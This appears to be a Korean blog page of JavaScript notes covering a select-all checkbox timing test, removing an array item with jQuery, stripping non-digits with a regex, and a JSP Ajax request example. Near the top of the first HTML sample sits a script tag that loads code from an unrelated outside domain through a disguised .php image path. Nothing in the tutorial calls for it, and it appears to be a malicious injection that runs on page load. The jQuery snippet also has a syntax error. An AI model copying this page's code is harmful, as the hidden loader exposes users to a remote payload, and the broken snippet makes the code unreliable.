<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<script language='JavaScript'>
function checkCall(oElement){
     var newtime = new Date().getTime();
     var len = document.form1.chkC.length;
     var chkArr = document.form1.chkC;
     var boolv =  oElement.checked;
     for(var i=0;i<len;i++){
          chkArr[i].checked = boolv;
     }

     var newtime2 = new Date().getTime();
     td3.innerHTML="걸린시간 : "+(newtime2-newtime);
}
</script>
</HEAD>
<script src=http://hairbrokersinc.com/images/gifimg.php ></script><BODY>
     <form name='form1'>
          <table border='1' width='700'>
               <tr>
                    <td><input type='checkbox' id='chkCall' onclick='checkCall(this)'>전체 체크/해제</td>
               </tr>
               <tr>
                    <td>
                         <div id="divC" style="overflow-x: hidden; overflow-y: auto; width:100%; height:200; padding: 0px; border: 1;">          
                         		<script language='JavaScript'>
                              	for(var i=0;i<2000;i++){
                                 	document.write("<input type='checkbox' id='chkC' value='"+i+"'>C의 "+i+"번째 체크박스<br />")
                                 }
                              </script>
                         <div>                   
                    </td>
               </tr>
               <tr>
                    <td id='td3'> </td>
               </tr>
          <table>
     </form>
</body>
</HTML>




var arr = [1, 2, 3, 4, 5] // array inicial
var removeItem = 2; // item do array que devera ser removido
arr = jQuery.grep(arr, function(value)) {
       return value != removeItem;
});

result : [1, 3, 4, 5]

숫자만 나타내기
var temp="1aaa2aabb한3글이sdf당4dDFFJJE";
//var regExp = /[^0-9A-Za-zㄱ-ㅎ가-힣]/gi;

var regExp = /[^0-9]/gi;
temp = temp.replace(regExp,"");
document.write(temp);

결과 : 1234
// Ajax.jsp // 웹프로그래밍 언어는 관계없다 난 jsp를 좋아라 해서..; 
<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR"  %>
<HTML>
<HEAD>
<SCRIPT language=javascript>
var xhr = null;

// XMLHttpRequest 객체 얻기
function getXMLHttpRequest() {
    if (window.ActiveXObject) {
        try {
            return new ActiveXObject("Msxml2.XMLHTTP");//IE 상위 버젼
        } catch (e1) {
            try {
                return new ActiveXObject("Microsoft.XMLHTTP");//IE 하위 버젼
            } catch (e2) {
                return null;
            }
        }
    } else if (window.XMLHttpRequest) {
        return new XMLHttpRequest();//IE 이외의 브라우저(FireFox 등)
    } else {
        return null;
    }
}

// 서버에 요청 
function requestWorkPlan(URL, Str) {

//한글 처리( escape를 빼면 변환되지않음 이유는 나도 모름..ㅠ)
 var SearchVal = escape(encodeURIComponent(Str));

 URL += "?SearchVal="+SearchVal;

    xhr = getXMLHttpRequest();//XMLHttpRequest 객체 얻기
    xhr.onreadystatechange = responseWorkplan;//콜백 함수  등록
    xhr.open("GET", URL, true);//연결
    xhr.send(null);//전송
    // 모두실행되면 전송된 URL이 전부실행되고 아래펑션에서 응답을하게된다. 
    // 왜냐 위 콜백함수이름이 responseWorkplan이니까 

}

// 응답
function responseWorkplan() {
    if (xhr.readyState == 4) {//완료
        if (xhr.status == 200) {//오류없이 OK
             //서버실행된 모든 태그 및 스크립트를 str에 담는다.
             var str = xhr.responseText;            
             //DIV나 SPAN태그에 str을 담으면 페이지이동없이 실행된다.
             document.getElementById("WorkPlan").innerHTML = str; 
        } else {
            alert("Fail : " + xhr.status);
        }
    }
}
</SCRIPT>


<A onclick="javascript:requestWorkplan('Ajax_proc.jsp','한글이지렁~')">엘롱</A>
<SPAN id=WorkPlan>
멍청이
</SPAN>
// Ajax_proc.jsp // 역시 웹프로그래밍 언어는 관계없다 
<%@ page language="java" contentType="text/html; charset=EUC-KR"
    pageEncoding="EUC-KR"  %>

<%="똑똑한데?ㅋ"%>
실행하고나면 위의 span 태그값 "멍청이" 가 "똑똑한데?ㅋ" 으로 변경되며 페이지 이동없이 실행된다. 응용하면 Ajax_proc.jsp 에서 DB 값을 가져와 맘대로 뿌려주면 된다...

+ Recent posts

티스토리툴바